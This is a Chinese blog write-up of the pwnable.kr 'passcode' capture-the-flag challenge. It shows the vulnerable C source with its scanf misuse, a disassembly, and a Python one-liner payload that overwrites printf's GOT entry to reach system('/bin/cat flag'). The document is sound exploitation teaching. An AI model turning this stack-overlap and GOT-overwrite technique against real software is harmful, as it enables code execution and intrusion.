zoukankan      html  css  js  c++  java
  • Pwnable中的passcode解题记录:

    Pwnable中的passcode解题记录:

    看下源码:

     1 #include <stdio.h>
     2 #include <stdlib.h>
     3 
     4 void login(){
     5     int passcode1;
     6     int passcode2;
     7 
     8     printf("enter passcode1 : ");
     9     scanf("%d", passcode1);               //这里没有加取地址符号
    10     fflush(stdin);
    11 
    12     // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    13     printf("enter passcode2 : ");
    14         scanf("%d", passcode2);      //这里没有加取地址符号
    15 
    16     printf("checking...\n");
    17     if(passcode1==338150 && passcode2==13371337){
    18                 printf("Login OK!\n");
    19                 system("/bin/cat flag");
    20         }
    21         else{
    22                 printf("Login Failed!\n");
    23         exit(0);
    24         }
    25 }
    26 
    27 void welcome(){
    28     char name[100];
    29     printf("enter you name : ");
    30     scanf("%100s", name);
    31     printf("Welcome %s!\n", name);
    32 }
    33 
    34 int main(){
    35     printf("Toddler's Secure Login System 1.0 beta.\n");
    36 
    37     welcome();
    38     login();     //这里连续调用了两个函数
    39 
    40     // something after login...
    41     printf("Now I can safely trust you that you have credential :)\n");
    42     return 0;    
    43 }

    思路:通过输入name[]将print_got地址覆盖到栈上的passcode1,在scanf(“%d”,passcode1)函数调用passcode1时候将print_got改为system(“/bin/cat flag”)的执行地址。

    1 printf_got = 0x0804a000
    2 system_flag = 0x080485E3
    3 str(system_flag) = 134514147
    4 python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | 5 ./passcode

    知识点:

     1、scanf加&和不加&的区别:

    当scanf取地址时候:scanf(“%100s”, &name);是向name的地址出写内容

    1 0x0804862a <+33>: mov $0x80487dd,%eax ;"%100s"的地址
    2 0x0804862f <+38>: lea -0x70(%ebp),%edx ;name局部变量地址
    3 0x08048632 <+41>: mov %edx,0x4(%esp) ;name入栈
    4 0x08048636 <+45>: mov %eax,(%esp) ;"%100s"的地址入栈
    5 0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt> ;调用scanf函数

     当scanf没有取地址时候:scanf(“%d”, passcode1); 是向passcode1存储的内容指向的内存地址处写内容。

    1 0x08048577 <+19>: mov $0x8048783,%eax ;"%d"的地址
    2 0x0804857c <+24>: mov -0x10(%ebp),%edx ;passcode1
    3 0x0804857f <+27>: mov %edx,0x4(%esp) ;这里就是问题,把栈上储存的内容入栈了,而不是把栈的地址入栈
    4 0x08048583 <+31>: mov %eax,(%esp) ;"%d"的地址入栈
    5 0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt> ;调用scanf

    由于没有对栈上的数据进行初始化,所以当输入passcode1的时候程序向一个不可写权限的
    地方写数据,导致无法输入数据,程序崩溃。

    2、栈上数据的存储:
    两个函数: welcome() 和  login() 是具有相同的EBP.
    welcome()中的name在ebp­0x70的位置
    login() 中的passcode1在%ebp­0x10
    从name覆写道passcode1的长度为:len = 0x70­0x10 = 112­16 = 96
    所以构造: ‘A’ *96个占位 + prinf_got_addr +system_flag

    printf_got = 0x0804a000 system_flag = 0x080485E3
    python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" |
    ./passcode

    此时调用 scanf("%d", passcode1); 函数,会向这个地址处printf_got_addr处写数据,也
    就是要修改printf_got的地址,修改成什么呢?当然是我们需要执行的函数
    (system_flag),使 system("/bin/cat flag") 得到执行。

    3、执行流程:
    如何找到:prinf_got_addr 和system(“/bin/cat flag”)`的地址呢?
    找prinf_got_addr :通过objdump ­d passcode中的printf@plt指向的地址:printf_got = 0x0804a000。

    08048420 <printf@plt>:
    8048420: ff 25 00 a0 04 08 jmp *0x804a000
    8048426: 68 00 00 00 00 push $0x0
    804842b: e9 e0 ff ff ff jmp 8048410 <_init+0x30>

    找system(“/bin/cat flag”)`:汇编程序中程序执行到的位置。或者通过objdump ­d passcode中的login指向的地址:system_flag = 0x080485E3 。

    因为scanf要输入的是%d,0x080485e3的十进制就是134514147。

    80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp)
     1 08048564 <login>:
     2  8048564:    55                       push   %ebp
     3  8048565:    89 e5                    mov    %esp,%ebp
     4  8048567:    83 ec 28                 sub    $0x28,%esp
     5  804856a:    b8 70 87 04 08           mov    $0x8048770,%eax
     6  804856f:    89 04 24                 mov    %eax,(%esp)
     7  8048572:    e8 a9 fe ff ff           call   8048420 <printf@plt>
     8  8048577:    b8 83 87 04 08           mov    $0x8048783,%eax
     9  804857c:    8b 55 f0                 mov    -0x10(%ebp),%edx
    10  804857f:    89 54 24 04              mov    %edx,0x4(%esp)
    11  8048583:    89 04 24                 mov    %eax,(%esp)
    12  8048586:    e8 15 ff ff ff           call   80484a0 <__isoc99_scanf@plt>
    13  804858b:    a1 2c a0 04 08           mov    0x804a02c,%eax
    14  8048590:    89 04 24                 mov    %eax,(%esp)
    15  8048593:    e8 98 fe ff ff           call   8048430 <fflush@plt>
    16  8048598:    b8 86 87 04 08           mov    $0x8048786,%eax
    17  804859d:    89 04 24                 mov    %eax,(%esp)
    18  80485a0:    e8 7b fe ff ff           call   8048420 <printf@plt>
    19  80485a5:    b8 83 87 04 08           mov    $0x8048783,%eax
    20  80485aa:    8b 55 f4                 mov    -0xc(%ebp),%edx
    21  80485ad:    89 54 24 04              mov    %edx,0x4(%esp)
    22  80485b1:    89 04 24                 mov    %eax,(%esp)
    23  80485b4:    e8 e7 fe ff ff           call   80484a0 <__isoc99_scanf@plt>
    24  80485b9:    c7 04 24 99 87 04 08     movl   $0x8048799,(%esp)
    25  80485c0:    e8 8b fe ff ff           call   8048450 <puts@plt>
    26  80485c5:    81 7d f0 e6 28 05 00     cmpl   $0x528e6,-0x10(%ebp)
    27  80485cc:    75 23                    jne    80485f1 <login+0x8d>
    28  80485ce:    81 7d f4 c9 07 cc 00     cmpl   $0xcc07c9,-0xc(%ebp)
    29  80485d5:    75 1a                    jne    80485f1 <login+0x8d>
    30  80485d7:    c7 04 24 a5 87 04 08     movl   $0x80487a5,(%esp)
    31  80485de:    e8 6d fe ff ff           call   8048450 <puts@plt>
    32  80485e3:    c7 04 24 af 87 04 08     movl   $0x80487af,(%esp)
    33  80485ea:    e8 71 fe ff ff           call   8048460 <system@plt>
    34  80485ef:    c9                       leave  
    35  80485f0:    c3                       ret    
    36  80485f1:    c7 04 24 bd 87 04 08     movl   $0x80487bd,(%esp)
    37  80485f8:    e8 53 fe ff ff           call   8048450 <puts@plt>
    38  80485fd:    c7 04 24 00 00 00 00     movl   $0x0,(%esp)
    39  8048604:    e8 77 fe ff ff           call   8048480 <exit@plt>

    flag:

    好了,现在需要的东西都找到了,就是执行了。输入payload:

    python -c "print ('a'*96+'\x00\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode
    enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
    Sorry mom.. I got confused about scanf usage :(
    enter passcode1 : Now I can safely trust you that you have credenti
    al :)
    Sorry mom.. I got confused about scanf usage :(

    参考文档:

    http://blog.csdn.net/u012763794/article/details/51992512

    http://blog.csdn.net/qq_20307987/article/details/51303824

    http://blog.csdn.net/smalosnail/article/details/53027024

  • 相关阅读:
    [转]MySQL索引类型
    [转]数据结构(全)
    [转]数据结构基础概念篇
    [转]从零开始搭建创业公司后台技术栈
    将博客搬至CSDN
    编译android源代码(aosp)
    【Android】Fresco图片加载框架(二)————Producer
    【Android】Fresco图片加载框架(一)————源码简要分析
    TSL(SSL)相关内容
    谨慎使用AsyncTask
  • 原文地址:https://www.cnblogs.com/Yable/p/7863012.html
Copyright © 2011-2022 走看看